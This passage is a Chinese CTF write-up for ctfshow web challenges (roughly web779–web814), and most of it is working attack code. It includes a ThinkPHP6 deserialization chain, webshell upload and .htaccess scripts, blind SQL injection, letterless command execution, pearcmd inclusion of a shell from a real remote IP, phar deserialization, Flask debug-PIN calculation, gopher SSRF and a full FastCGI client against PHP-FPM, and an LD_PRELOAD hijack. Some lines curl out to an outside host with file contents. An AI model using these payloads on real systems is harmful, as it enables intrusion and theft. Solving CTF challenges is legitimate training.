                          $Pokemon[$key] = DefenderBonus($pks);
                      }
                  }
                  else{
                      $Pokemon = DefenderBonus($Pokemon);
                  }
              }

              switch($_POST['myfavorite'] ?? ""){
                  case 'picacu!':
                      echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
                      break;
                  case 'squirtle':
                      echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
                      break;
                  case 'mewtwo':
                      $dream = $_POST["dream"] ?? "";
                      if(strlen($dream)>=20){
                          die("So Big Pokenmon!");
                      }
                      ghostpokemon($dream);
                      echo shell_exec($dream);
              }
        -->

简单来说,就是用那个mewtwo然后bypass执行,但这里基本上能过滤的都过滤完了,很难执行命令。但通过百度,还是发现原来还有个od没禁,而od正好能执行命令。

od(Octal Dump)以八进制或其他格式转储文件。

od 用于将指定文件内容以八进制、十进制、十六进制、浮点格式或 ASCII 编码字符方式显示,通常用于显示或查看文件中不能直接显示在终端的字符。od 默认显示方式是八进制

用od -c就可以输出文件内容:

因为flag这个字符串以及很多字母都被禁了,我们可以用正则匹配的形式构造被ban的字母然后执行命令即可,看了半天ascii表,[9-q]这个正则符合要求:

然后用编码绕一下空格的过滤即可,最后payload:

myfavorite=mewtwo&dream=od%09-c%09/f[9-q][9-q]g

web780

主页没啥东西,访问www.zip有源码,看了看,是TP,做TP第一步就是得找版本,因为TP基本上每个版本都有反序列化,抄payload就行了(*^_^*)

经典的TP6反序列化

然后找找触发点,发现有个过滤

但事实上parse_str这个函数是有洞的,用///这种形式让它直接解析失败就成功bypass了

TP6链子:

<?php

namespace think\model\concern;

trait Attribute
{
    private $data = ["yu22x" => "cat /f*"];
    private $withAttr = ["yu22x" => "system"];
}

namespace think;

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

payload:

url///index.php?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7D

web781

 <?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

过滤了很多东西,比如ph*,比如字母数字取反符啥的,但没过滤异或,所以先上传.htaccess,再上传个其他后缀的文件把它执行形式变成php即可,抄的脚本:

import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.cc" 
"""
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
url = "http://a98d884f-c253-45d9-acdb-3a58d31393e5.challenge.ctf.show/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.cc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

路径:

看看phpinfo():

绕绕open_basedir

/?c=chdir('/tmp');mkdir('shell');chdir('shell');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));
/?c=chdir('/tmp');mkdir('shell');chdir('shell');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(file_get_contents(THis_Is_tHe_F14g));

web782

开局一个登录框,应该是sql,用之前存的sqlfuzz字典fuzz一下发现很多过滤

语句:

select answer from questions where answer = ''

直接嗯注在from被过滤的情况下其实是很难打的,但我们可以外带answer,找到真正的answer,偷的脚本:

import requests
import base64
import string 
url="http://2709cb1d-3807-4cdc-8de4-9c45ce862e62.challenge.ctf.show/"
s=string.ascii_letters+string.digits
answer=''
for i in range(1,10):
	print(i)
	for j in s:
		#payload="?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23".format(i,j)
		payload="?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23".format(i,j)
		u=url+payload
		r=requests.get(u)
		if("Wrong" in r.text):
			answer+=j
			print(answer)
			break

输入7ujm6yhn进入一个命令执行口

<!-- CTFSHOW hint: 
            $_SESSION['cmd'] = $cmd;
            if(!preg_match("/[0-9]|[a-z]/i",$_SESSION['cmd'])){
                system($cmd);
            }
        -->

无字母数字rce,这都打烂了,而且这还是青春版,除了字母数字啥过滤都没有的那种,不过这里是system不是eval,导致有些方法不行了,那就用p牛那个利用glob通配符执行命令即可,偷的脚本:

import requests
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/flag.php"
data={'cmd':'. /???/????????[?-[]'}
headers={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'}#填自己的
files={'file':'cat /f*'}
while True:
	response=requests.post(url,files=files,data=data,headers=headers)
	html = response.text
	if "ctfshow{" in html:
		print(html)
		break

web783

看了下就一解,研究了半天没研究出来,果断放弃。

web784

 <?php

highlight_file(__FILE__);
error_reporting(0);

include $_GET['file']; 

参考p牛,包含远程含马文件再pearcmd即可,感觉现在做ctf就是在炒p牛冷饭,哈哈哈。说起来之前newstarctf也考过pearcmd的,做法基本上一模一样,如果是重邮的同学可以去看看之前我写的week3的wp

?file=/usr/local/lib/php/pearcmd.php&+download+http://82.157.233.217/shell.txt

我那个ip上已经事先放好shell.txt了

包含成功之后再包含一次shell.txt即可(除了txt其实最初可以直接包含php,这样就拿shell了)

get:/?file=shell.txt
post:1=echo system("cat /f*");

这里echo的原因是执行成功之后没有回显,所以看看执行效果

web792

[HBCTF2017]大美西安

image=-1 uniunionon seselectlect 0x666c61676973686572652e706870&image_download=%E6%94%B6%E8%97%8F

web795

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

linux中source.php?可以被当作目录,然后目录穿越即可

?file=source.php?../../../../../../../ctfshowflag

web800

 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
    highlight_file(__FILE__);
    die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag; 

漫长的代码审计工作,一段一段绕吧。

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

data协议来绕过即可,印象里做寒假考核时就遇到过了

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==
if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

因为这里是”===”,是强比较,所以用key1=1337a即可

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

简单来说就是要长度为42且不是数字,而且还要以数字+$开头,最后满足$k2 == $cc。往1337前加0即可:

key2=000000000000000000000000000000000001337$
if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

这种一眼看上去不能满足的应该立刻联想到让他们为空或者报错

cc[]=1
$‮b = "2";$a="‮b";//;1=b

这个整蒙了,你们可以自己下去试试,不过我们可以找个在线平台看看它到底是干啥的。

if($$a !== $k1){
    die("lel no\n");
}

所以$$a=2,所以$k1=2(这就是大巧不工!)

最后一段:

assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";

覆盖掉bb即可任意代码执行

bb=system("cat *");//

最后的payload:

?msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==&key1=1337a&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&a=k1&bb=system("cat *");//&k1=2

Just a piece of cake!

web入门·常用姿势

web801

这个题的姿势就是算pin码

pin码是flask在开启debug模式下,进行代码调试模式所需的进入密码,需要正确的PIN码才能进入调试模式,可以理解为自带的webshell。

六要素:

  • username 通过getpass.getuser()读取,通过文件读取/etc/passwd,一般是root
  • modname 通过getattr(mod,“file”,None)读取,默认值为flask.app
  • appname 通过getattr(app,“name”,type(app).name)读取,默认值为Flask
  • moddir 当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取实际应用中通过报错读取
  • uuidnode 通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
  • machine_id 每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在docker环境下读取后两个,非docker环境三个都需要读取

旧版的算法(3.6):

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)

新版的算法:(3.8)

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

报错得到路径:/usr/local/lib/python3.8/site-packages/flask/app.py,并且知道了这是3.8,要用3.8的脚本

然后按照顺序一个一个拿数据。

读/etc/passwd拿到用户名root

modname默认值为flask.app,appname默认值为Flask

读/sys/class/net/eth0/address得到uuidnode:02:42:ac:0c:0b:42,把它看成0x0242ac0c0b42转化十进制得到2485377567554

然后读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接起来得到machine_id:

d1b2665b-a5c7-4542-af02-960390811e5ba245d3eb571602d0e8005d5cc2c7d3cd04e09ae4154e7bad0c9ba40f88abd4f8

带入3.8的脚本计算pin码

得到134-919-743,访问/console,输入pin码,即可执行代码,

import os
os.popen('cat /*f*').read()

web802

最基础的无字母数字getshell

cmd=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat f*

web803

<?php
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);
    }
}

phar文件包含,即使是压缩后还是可以用phar协议执行php代码

<?php 
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
import requests  
url="http://76aa7571-0a18-46f1-99fc-3b8fcbb4d36f.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

web804

<?php
error_reporting(0);
highlight_file(__FILE__);

class hacker{
    public $code;
    public function __destruct(){
        eval($this->code);
    }
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file)){
        unlink($file);
    }else{
        file_put_contents($file,$content);
    }
}

一眼Phar反序列化

<?php 

class hacker{
    public $code="system('cat f*');";
    public function __destruct(){
        eval($this->code);
    }
}
$t=new hacker();

$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
import requests  
url="http://47d5b4bf-9dc6-4aa8-93f1-6d42cf431490.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('poc.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

web805

<?php
error_reporting(0);
highlight_file(__FILE__);

eval($_POST[1]);

open_basedir绕过,浅谈几种Bypass open_basedir的方法

1=mkdir(1);chdir(1);ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1=mkdir(1);chdir(1);ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

web806

无参数rce

?code=eval(end(current(get_defined_vars())));&flag=system('cat /c*');

web807

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];

$schema = substr($url,0,8);

if($schema==="https://"){
    shell_exec("curl $url");
}

反弹shell

?url=https://;curl http://url:port?a=`cat /*`

web808

<?php
error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    print_r(scandir("/tmp"));
}

预期解肯定是session.upload_progress,但ctfshow只有半夜有环境

import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
    '1':'echo 11123;system("cat /*");',
}
file={
    'file':'1'
}
cookies={
    'PHPSESSID': sess
}
def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.post(url2,data=data2)
        if '11123' in r.text:
            print(r.text)

if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write).start()
        for i in range(1,30):
            threading.Thread(target=read).start()
    event.set()

第二种方法,让程序崩溃的同时上传文件,那么文件就会留在/tmp目录下,缺点是没文件名爆破起来很麻烦,但这里是刚好scandir(“/tmp”)了的,所以直接有文件名了

#author:yu22x
import requests 
import re 
url = "http://e34a803b-ce00-4e1e-b585-9bda0198fe37.challenge.ctf.show/"
file={
	'file':'<?php system("cat /*");?>'
}
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)

web809

<?php
error_reporting(0);
$file = $_GET['file'];


if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){
    include $file;
}else{
    show_source(__FILE__);
    if(isset($_GET['info'])){
        phpinfo();
    }
}

喜欢我pearcmd吗

记得别用hackbar,会帮你自动编码的,用burpsuite

?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/tmp/a.txt

web810

SSRF打PHP-FPM

然后对_后面的payload进行一次url编码

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

web811

<?php
error_reporting(0);
highlight_file(__FILE__);


$file = $_GET['file'];
$content = $_GET['content'];

file_put_contents($file, $content);

file_put_contents打PHP-FPM,没复现出来

web812

PHP-FPM未授权

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=28163, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))
python2 fpm.py -c '<?php system("cat /f*");?>' -p 28046 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web814

<?php
error_reporting(0);

$action = $_GET['a'];
switch ($action) {
    case 'phpinfo':
        phpinfo();
        break;
    
    case 'write':
        file_put_contents($_POST['file'],$_POST['content']);
        break;

    case 'run':
        putenv($_GET['env']);
        system("whoami");
        break;

    default:
        highlight_file(__FILE__);
        break;

劫持getuid

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
        system("curl http://url:port?s=`cat /*`");
}
int getuid()
{
        if(getenv("LD_PRELOAD")==NULL){ return 0;}
        unsetenv("LD_PRELOAD");
        payload();
}

